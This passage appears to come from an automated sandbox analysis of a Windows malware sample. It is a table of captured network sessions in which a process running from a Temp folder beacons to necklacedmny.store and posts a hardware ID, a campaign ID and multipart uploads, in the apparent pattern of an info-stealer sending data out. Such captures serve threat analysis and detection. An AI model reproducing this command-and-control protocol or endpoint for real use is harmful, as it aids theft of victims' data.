cfL4;desc="?proto=TCP&rtt=1047&sent=208&recv=601&lost=0&retrans=0&sent_bytes=2846&recv_bytes=570886&delivery_rate=2781940&cwnd=246&unsent_bytes=0&cid=87a2431dde0ee6ef&ts=1811&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50062	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:09 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 00:20:09 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=900B9B5C39D1F210424A4863ACD414C2
2024-10-31 00:20:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mct7bn64aucuuti3lrnqorm519; expires=Sun, 23-Feb-2025 18:06:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SuZqez4Z7askk%2B46SvQZ9RR1wOD7CdcmuDsQCyYerNEetdvusksFi152%2F2iSL70ogpMSpU7FdJFjv%2F00sDp0aO7zCK8mJh7d35IKjzmV8qdBJj2JZIiEKUH%2F%2BFV6%2BRwnvQMseDU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7a453a7e6c76-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=992&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2896000&cwnd=251&unsent_bytes=0&cid=6c8798a0a8854c99&ts=670&x=0"
2024-10-31 00:20:09 UTC	214	IN	Data Raw: 64 30 0d 0a 38 51 70 56 57 35 51 31 55 35 59 72 74 7a 58 6e 74 76 2f 6a 4d 63 69 42 4e 77 6b 58 4b 7a 79 72 55 4d 79 70 61 6d 51 31 6c 4e 79 71 63 58 63 75 74 67 39 78 2f 6c 2f 44 52 64 33 71 30 4c 38 65 2b 62 6b 43 4a 79 55 61 43 59 56 68 2f 5a 70 45 56 51 50 49 38 35 35 73 4d 77 65 37 55 54 62 77 42 64 4a 4e 67 70 54 54 77 56 65 38 6f 77 30 35 4f 77 6c 5a 69 57 72 38 31 45 59 66 46 2b 48 2b 79 79 67 39 4c 2b 42 46 61 63 6f 45 36 78 72 57 6a 73 72 4e 41 2f 6d 30 47 54 67 6d 47 42 4b 61 5a 70 43 47 42 77 31 62 38 59 44 65 65 44 51 31 38 46 6f 2b 75 45 37 50 55 4d 57 61 33 59 56 46 36 72 73 48 4a 54 56 4f 48 70 46 67 73 66 51 3d 0d 0a Data Ascii: d08QpVW5Q1U5YrtzXntv/jMciBNwkXKzyrUMypamQ1lNyqcXcutg9x/l/DRd3q0L8e+bkCJyUaCYVh/ZpEVQPI855sMwe7UTbwBdJNgpTTwVe8ow05OwlZiWr81EYfF+H+yyg9L+BFacoE6xrWjsrNA/m0GTgmGBKaZpCGBw1b8YDeeDQ18Fo+uE7PUMWa3YVF6rsHJTVOHpFgsfQ=
2024-10-31 00:20:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50066	188.114.97.3	443	3912	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:15 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 00:20:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 00:20:15 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2qegq9dv8dp1aq0p56vp0f6or3; expires=Sun, 23-Feb-2025 18:06:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7ll290FWSdaLHQ%2B5y3puWhmy9vvafb4ndL4MEOlLhHJrIIViaA9cOe%2BEZtfGHMKbnXe8sN%2FMDGTFCVaQLivb2NLN70dTIhvQNfxLa%2BtgbiP7yPOGE0%2Bmyd16r72nhtGDKv1Jpnk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7a6ad81deae1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1184&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2239752&cwnd=250&unsent_bytes=0&cid=71d85e98e9eff235&ts=880&x=0"
2024-10-31 00:20:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 00:20:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50068	188.114.97.3	443	3912	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 00:20:18 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 00:20:19 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o8svcs7v761fllu9tbu57s744k; expires=Sun, 23-Feb-2025 18:06:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WqXw3FFgFoNxa0xUDtiqsZM87oLIw%2BSIcHRJxqzEodoAmxExaZyP91keeQwDonXcr2I%2BI2FKTbX7c2g%2F0o73c1Dg0vc5jaWWMkIYUEHjoWWytw77atXJZVS%2F%2BwjH3fE9cVSf1CA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7a80d96c6b6d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1067&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2639927&cwnd=251&unsent_bytes=0&cid=c8447ca921e20207&ts=522&x=0"
2024-10-31 00:20:19 UTC	352	IN	Data Raw: 34 64 36 0d 0a 38 49 74 7a 6e 71 4d 2f 35 76 51 57 39 4b 54 36 57 69 6b 4c 7a 53 32 4e 69 55 70 37 4c 4c 55 65 6b 41 68 44 6d 30 53 56 72 39 4b 4c 71 51 57 38 6d 51 76 4b 31 6d 57 52 68 73 41 75 57 33 36 6f 41 61 2f 6f 4c 6c 6b 57 30 33 2f 38 65 79 61 33 5a 75 50 43 38 4d 72 74 45 76 4c 51 57 73 72 57 63 34 79 47 77 41 46 53 4b 61 68 44 72 37 4e 6f 48 6b 62 58 66 2f 78 71 49 76 41 72 35 63 4f 78 6d 4f 63 55 39 73 5a 63 67 70 56 36 6d 63 47 66 50 30 68 68 6f 30 54 67 34 53 64 5a 41 4a 64 37 36 69 70 35 75 51 6e 77 32 37 4f 39 36 67 44 31 67 55 4c 4b 6a 7a 53 52 79 74 68 67 43 32 71 6f 54 2b 48 76 4c 68 42 45 33 58 62 30 61 79 66 78 4e 50 7a 4a 75 70 6a 70 46 2f 66 4d 56 5a 61 59 63 4a 37 4b 6d 54 56 49 4b 65 45 50 36 50 4e 6f 51 51 36 45 54 76 46 37 4d 4f Data Ascii: 4d68ItznqM/5vQW9KT6WikLzS2NiUp7LLUekAhDm0SVr9KLqQW8mQvK1mWRhsAuW36oAa/oLlkW03/8eya3ZuPC8MrtEvLQWsrWc4yGwAFSKahDr7NoHkbXf/xqIvAr5cOxmOcU9sZcgpV6mcGfP0hho0Tg4SdZAJd76ip5uQnw27O96gD1gULKjzSRythgC2qoT+HvLhBE3Xb0ayfxNPzJupjpF/fMVZaYcJ7KmTVIKeEP6PNoQQ6ETvF7MO
2024-10-31 00:20:19 UTC	893	IN	Data Raw: 41 55 49 53 45 66 4a 33 4e 6e 53 70 41 59 4b 4a 43 37 2b 59 69 46 6b 33 58 65 2f 68 67 4c 76 4d 69 2b 73 43 32 6b 75 6c 52 73 6f 46 61 6e 4e 59 73 31 75 57 64 4b 45 78 6c 75 51 33 56 71 7a 64 58 56 35 64 37 2f 69 70 35 75 53 37 79 7a 72 4f 5a 35 68 4c 30 79 6b 2b 45 68 48 4b 62 77 34 6f 2b 54 6d 65 6c 54 50 33 68 4a 68 39 4e 33 6e 66 37 62 79 62 39 5a 72 6d 4e 74 34 71 70 53 62 7a 67 55 49 2b 61 66 6f 48 47 32 43 63 46 63 4f 39 49 34 36 74 77 57 55 72 57 65 50 4e 75 4c 2f 63 69 2b 38 75 2b 6e 2b 59 58 39 73 46 61 6a 70 35 38 6c 38 75 54 4e 30 74 73 6f 6b 76 70 35 79 6b 63 44 70 6b 38 39 58 4a 68 6f 57 62 5a 79 72 4f 41 71 79 54 2f 7a 31 4f 44 67 44 53 4a 69 49 46 34 54 47 58 76 46 36 2f 6c 4c 52 5a 63 31 6d 37 33 5a 44 50 31 49 2f 48 41 73 35 7a 70 46 50 Data Ascii: AUISEfJ3NnSpAYKJC7+YiFk3Xe/hgLvMi+sC2kulRsoFanNYs1uWdKExluQ3VqzdXV5d7/ip5uS7yzrOZ5hL0yk+EhHKbw4o+TmelTP3hJh9N3nf7byb9ZrmNt4qpSbzgUI+afoHG2CcFcO9I46twWUrWePNuL/ci+8u+n+YX9sFajp58l8uTN0tsokvp5ykcDpk89XJhoWbZyrOAqyT/z1ODgDSJiIF4TGXvF6/lLRZc1m73ZDP1I/HAs5zpFP
2024-10-31 00:20:19 UTC	1369	IN	Data Raw: 33 61 63 66 0d 0a 2f 6a 45 76 6a 46 55 49 75 66 66 5a 2f 55 6b 6a 52 46 65 36 4a 46 36 75 55 6b 48 45 48 58 66 66 4e 6b 4b 2f 4a 6d 75 59 32 33 69 71 6c 4a 76 4f 35 51 6c 49 52 2b 6e 64 66 61 44 55 68 6e 6f 55 6a 35 71 7a 64 58 56 35 64 37 2f 69 70 35 75 53 33 78 77 62 79 53 37 77 50 79 7a 6b 2b 4f 68 48 43 59 77 70 51 32 51 6d 53 67 53 76 33 76 4b 41 74 50 30 6e 76 38 5a 7a 50 38 5a 72 6d 4e 74 34 71 70 53 62 7a 37 61 59 4f 47 5a 5a 47 45 72 54 74 46 5a 36 68 5a 72 2f 52 6d 41 41 37 51 63 4c 49 79 59 66 6f 71 2b 73 53 31 6e 66 73 62 38 4d 42 50 67 35 39 39 6e 4d 65 57 4e 30 42 6c 71 6c 33 6b 35 43 41 57 54 39 70 78 2b 57 34 68 75 57 69 33 79 71 6a 53 73 56 48 64 7a 46 4b 57 6c 57 58 55 38 35 73 32 52 57 36 35 44 2f 43 6c 4d 56 6c 4a 32 7a 79 71 4b 69 44 Data Ascii: 3acf/jEvjFUIuffZ/UkjRFe6JF6uUkHEHXffNkK/JmuY23iqlJvO5QlIR+ndfaDUhnoUj5qzdXV5d7/ip5uS3xwbyS7wPyzk+OhHCYwpQ2QmSgSv3vKAtP0nv8ZzP8ZrmNt4qpSbz7aYOGZZGErTtFZ6hZr/RmAA7QcLIyYfoq+sS1nfsb8MBPg599nMeWN0Blql3k5CAWT9px+W4huWi3yqjSsVHdzFKWlWXU85s2RW65D/ClMVlJ2zyqKiD
2024-10-31 00:20:19 UTC	1369	IN	Data Raw: 62 36 65 34 68 62 33 79 6c 6d 41 6c 6e 6d 64 79 4a 59 78 52 32 47 6a 53 50 33 6d 4c 52 46 45 33 6e 6e 2b 5a 79 4c 72 4a 66 61 4e 2f 74 4c 75 43 62 79 5a 48 61 4f 6c 51 37 57 47 68 33 5a 53 4b 61 68 44 72 37 4e 6f 47 45 62 51 63 76 5a 34 4c 2b 73 6f 38 4d 32 32 6d 75 45 57 38 4d 39 54 6c 70 35 31 6c 73 69 58 4d 45 4a 74 72 6b 76 72 35 79 39 5a 41 4a 64 37 36 69 70 35 75 51 37 30 31 36 72 51 78 78 72 38 78 6b 32 53 6a 54 53 4a 69 49 46 34 54 47 58 76 46 36 2f 76 49 78 4e 48 31 48 58 32 5a 79 48 77 4b 66 37 46 76 5a 72 37 45 50 62 54 57 59 47 58 65 35 7a 43 6b 44 52 45 5a 61 74 64 35 4b 74 6d 57 55 6e 50 50 4b 6f 71 41 66 49 77 31 4e 2b 69 30 76 5a 66 35 59 46 61 69 4e 59 73 31 73 2b 55 4f 55 70 6a 71 55 54 71 35 69 67 63 52 4e 42 77 38 6d 6f 69 2f 79 44 36 Data Ascii: b6e4hb3ylmAlnmdyJYxR2GjSP3mLRFE3nn+ZyLrJfaN/tLuCbyZHaOlQ7WGh3ZSKahDr7NoGEbQcvZ4L+so8M22muEW8M9Tlp51lsiXMEJtrkvr5y9ZAJd76ip5uQ7016rQxxr8xk2SjTSJiIF4TGXvF6/vIxNH1HX2ZyHwKf7FvZr7EPbTWYGXe5zCkDREZatd5KtmWUnPPKoqAfIw1N+i0vZf5YFaiNYs1s+UOUpjqUTq5igcRNBw8moi/yD6
2024-10-31 00:20:19 UTC	1369	IN	Data Raw: 41 5a 2f 4d 35 59 6a 4a 31 79 6d 4d 65 65 4e 45 59 70 34 51 2f 6f 38 32 68 42 44 76 42 6d 2f 32 77 32 36 42 50 77 7a 65 48 53 39 6c 2f 6c 67 56 71 49 31 69 7a 57 79 35 51 79 52 6d 79 72 52 2b 6a 6f 4b 52 56 4b 32 6e 48 32 59 79 58 38 4e 4f 58 4c 76 70 4c 6d 48 2f 50 4e 54 34 71 54 64 4a 71 47 31 6e 68 4d 63 65 38 58 72 39 6f 2f 47 51 37 49 4d 75 73 71 4a 76 56 6d 72 34 32 2f 6e 2f 73 64 38 38 46 63 68 35 4a 2f 6b 63 43 65 4f 55 68 73 72 45 72 70 36 69 67 56 52 4e 42 30 2b 47 51 73 2f 79 4c 78 79 2f 44 63 71 52 62 6b 67 51 58 45 70 48 6d 59 7a 35 73 2b 52 6e 2b 48 66 71 2f 30 5a 67 41 4f 30 48 43 79 4d 6d 48 39 4c 66 2f 42 74 5a 72 73 45 50 54 4c 56 59 75 5a 5a 70 66 4a 6b 54 39 41 5a 4b 42 42 36 75 55 36 48 6b 58 63 64 50 74 6b 4a 37 6c 6f 74 38 71 6f 30 Data Ascii: AZ/M5YjJ1ymMeeNEYp4Q/o82hBDvBm/2w26BPwzeHS9l/lgVqI1izWy5QyRmyrR+joKRVK2nH2YyX8NOXLvpLmH/PNT4qTdJqG1nhMce8Xr9o/GQ7IMusqJvVmr42/n/sd88Fch5J/kcCeOUhsrErp6igVRNB0+GQs/yLxy/DcqRbkgQXEpHmYz5s+Rn+Hfq/0ZgAO0HCyMmH9Lf/BtZrsEPTLVYuZZpfJkT9AZKBB6uU6HkXcdPtkJ7lot8qo0
2024-10-31 00:20:19 UTC	1369	IN	Data Raw: 42 56 6f 79 52 66 4a 4c 49 69 6a 6c 45 4b 65 45 50 36 50 4e 6f 51 51 37 6d 61 76 56 74 4c 72 73 50 38 4e 61 78 6d 4f 6f 61 38 49 46 43 79 6f 38 30 6b 63 72 59 59 41 74 6b 6f 30 4c 72 2b 53 51 5a 54 74 35 37 2b 48 67 75 39 69 76 30 7a 62 57 41 36 41 50 7a 79 6c 69 48 6b 6e 75 5a 79 70 41 79 43 79 66 76 53 50 65 72 63 46 6c 69 31 47 33 34 4b 41 62 6a 4d 50 44 42 6f 5a 6e 6b 48 62 7a 65 45 35 33 57 63 35 71 47 77 48 68 4c 61 4b 4a 64 36 75 6f 69 45 30 50 66 63 2f 64 76 4c 76 30 69 2f 4d 4f 69 6e 4f 59 52 2b 73 70 63 67 5a 56 2f 6e 4d 69 52 4b 67 73 6e 37 30 6a 33 71 33 42 5a 5a 4d 78 39 2f 32 5a 6a 31 79 33 68 79 76 4b 7a 35 78 72 37 7a 55 76 45 69 54 71 50 68 70 38 30 43 7a 48 76 52 75 48 6e 4b 78 35 47 33 33 6e 79 59 53 48 32 4c 50 6e 4b 6f 70 6a 6c 47 2b Data Ascii: BVoyRfJLIijlEKeEP6PNoQQ7mavVtLrsP8NaxmOoa8IFCyo80kcrYYAtko0Lr+SQZTt57+Hgu9iv0zbWA6APzyliHknuZypAyCyfvSPercFli1G34KAbjMPDBoZnkHbzeE53Wc5qGwHhLaKJd6uoiE0Pfc/dvLv0i/MOinOYR+spcgZV/nMiRKgsn70j3q3BZZMx9/2Zj1y3hyvKz5xr7zUvEiTqPhp80CzHvRuHnKx5G33nyYSH2LPnKopjlG+
2024-10-31 00:20:19 UTC	1369	IN	Data Raw: 68 6a 53 4a 69 49 46 34 54 47 58 76 46 36 2f 72 4c 42 56 4e 30 48 4c 39 5a 79 37 2b 4c 66 6a 48 76 6f 44 6d 46 50 54 4e 56 59 6d 45 66 70 7a 55 6b 54 46 47 5a 36 64 64 37 4b 74 6d 57 55 6e 50 50 4b 6f 71 45 2f 4d 6c 2b 39 75 39 6e 61 6b 4f 73 74 67 64 67 35 6f 30 7a 6f 61 4b 4b 6b 74 69 72 30 6a 68 2b 53 6b 52 51 64 31 38 39 47 45 72 2b 69 2f 7a 77 37 6d 55 36 42 7a 39 77 46 32 42 6c 6e 32 45 79 39 68 32 43 32 36 33 44 37 65 72 48 78 56 46 35 6e 2f 6b 4b 6a 36 33 50 37 66 4b 76 4e 4b 78 55 66 33 54 55 49 79 53 64 4a 76 41 6b 7a 6c 4b 61 71 39 50 37 4f 73 74 45 6b 48 52 65 2f 39 67 4b 50 41 30 2f 38 6d 69 6b 75 55 56 76 49 38 64 67 34 34 30 7a 6f 61 6f 4f 30 42 6c 72 30 4c 36 71 7a 64 58 56 35 64 37 2f 69 70 35 75 53 37 38 78 72 61 5a 36 68 4c 79 79 6c 65 Data Ascii: hjSJiIF4TGXvF6/rLBVN0HL9Zy7+LfjHvoDmFPTNVYmEfpzUkTFGZ6dd7KtmWUnPPKoqE/Ml+9u9nakOstgdg5o0zoaKKktir0jh+SkRQd189GEr+i/zw7mU6Bz9wF2Bln2Ey9h2C263D7erHxVF5n/kKj63P7fKvNKxUf3TUIySdJvAkzlKaq9P7OstEkHRe/9gKPA0/8mikuUVvI8dg440zoaoO0Blr0L6qzdXV5d7/ip5uS78xraZ6hLyyle
2024-10-31 00:20:19 UTC	1369	IN	Data Raw: 2b 61 54 4c 6b 70 6b 70 45 4f 74 36 69 55 4a 53 5a 63 79 73 6d 78 68 6f 58 61 35 6a 62 53 44 71 55 6d 73 6b 77 62 52 78 53 50 47 6c 49 64 32 55 69 6d 35 44 37 65 35 5a 6c 6c 63 6c 79 53 79 4c 53 4c 72 4e 50 48 4f 70 70 47 75 4c 38 4c 68 56 6f 69 56 65 4a 66 42 32 48 59 4c 5a 75 38 58 31 71 73 72 43 31 79 59 62 65 52 6e 4d 66 35 71 2f 39 79 39 6e 71 6c 66 76 49 31 5a 6a 35 70 78 6b 64 62 58 4b 6c 74 69 6f 31 6d 6a 37 7a 70 5a 41 4a 64 74 2b 57 55 7a 39 79 47 34 33 4b 61 66 2b 52 4c 35 78 68 47 4d 68 33 6d 61 68 74 5a 34 58 6d 4b 6a 53 65 4c 2b 5a 77 68 59 31 47 72 31 4a 69 6e 6f 4b 2f 75 4e 6a 39 79 70 43 62 79 5a 48 62 47 56 65 70 6a 42 6a 69 6b 47 53 61 52 44 37 4f 63 70 48 67 36 5a 50 50 51 71 65 61 70 6f 74 38 6d 68 30 72 46 42 72 70 6f 49 31 38 45 6b Data Ascii: +aTLkpkpEOt6iUJSZcysmxhoXa5jbSDqUmskwbRxSPGlId2Uim5D7e5ZllclySyLSLrNPHOppGuL8LhVoiVeJfB2HYLZu8X1qsrC1yYbeRnMf5q/9y9nqlfvI1Zj5pxkdbXKltio1mj7zpZAJdt+WUz9yG43Kaf+RL5xhGMh3mahtZ4XmKjSeL+ZwhY1Gr1JinoK/uNj9ypCbyZHbGVepjBjikGSaRD7OcpHg6ZPPQqeapot8mh0rFBrpoI18Ek
2024-10-31 00:20:19 UTC	1369	IN	Data Raw: 5a 53 4b 62 6b 50 74 37 68 6d 57 56 79 58 4a 4c 49 74 4c 2f 51 6e 39 4d 4f 7a 67 50 73 58 2f 39 64 65 77 36 68 4b 73 38 75 56 50 55 56 75 6b 58 48 4f 34 54 67 55 51 64 42 43 7a 46 30 77 2f 6a 61 31 36 37 4f 45 36 6c 47 79 67 55 58 45 7a 6a 53 33 7a 49 67 31 52 47 37 76 41 61 2f 76 61 45 45 4f 38 6e 48 2f 62 79 2f 2b 5a 4e 62 48 6f 4a 2f 6d 46 72 79 50 48 59 6a 57 4c 4e 62 48 6b 69 68 47 5a 71 67 44 36 50 45 76 57 51 43 58 63 72 49 79 59 66 67 73 35 38 43 2f 6c 61 55 58 38 73 38 64 6d 39 68 74 31 74 44 59 59 42 67 6e 37 31 32 76 73 32 68 65 51 4e 70 39 38 57 51 69 36 7a 54 78 7a 71 61 52 72 69 2f 43 35 46 43 4a 6b 33 71 52 2b 4b 59 5a 51 58 6d 69 51 4f 69 70 43 42 35 59 31 45 4c 4d 58 54 44 2b 4e 72 58 72 73 34 54 71 55 62 4b 42 52 63 54 4f 4e 4c 66 4d 69 Data Ascii: ZSKbkPt7hmWVyXJLItL/Qn9MOzgPsX/9dew6hKs8uVPUVukXHO4TgUQdBCzF0w/ja167OE6lGygUXEzjS3zIg1RG7vAa/vaEEO8nH/by/+ZNbHoJ/mFryPHYjWLNbHkihGZqgD6PEvWQCXcrIyYfgs58C/laUX8s8dm9ht1tDYYBgn712vs2heQNp98WQi6zTxzqaRri/C5FCJk3qR+KYZQXmiQOipCB5Y1ELMXTD+NrXrs4TqUbKBRcTONLfMi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50070	188.114.97.3	443	3912	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:20 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-31 00:20:20 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 00:20:21 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gulb6brtj39tlen3f44a24g2jd; expires=Sun, 23-Feb-2025 18:06:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1LGGURIyiHrDf8DWfseGKDS0kT3GhDZZRi33xUHqg12svJCJwI%2BsZYQSRT3KNdNOnt7u7Yv4lU6arSDW%2B3pij7r%2BKQhxFIgW%2F6HFKSHfXauHIeGpuS%2BnwrN3AR0Pjp15OMcLnWM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daf7a8d6c604766-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1075&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13806&delivery_rate=2611361&cwnd=251&unsent_bytes=0&cid=ed725633636848d7&ts=517&x=0"
2024-10-31 00:20:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-31 00:20:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50071	188.114.97.3	443	3912	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:20:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-31 00:20:22 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 42 39 42 35 43 33 39 44 31 46 32 31 30 34 32 34 41 34 38 36 33 41 43 44 34 31 34 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"900B9B5C39D1F210424A4863ACD414C2--be85de5ipdocierre1Content-Disposition: form-data; 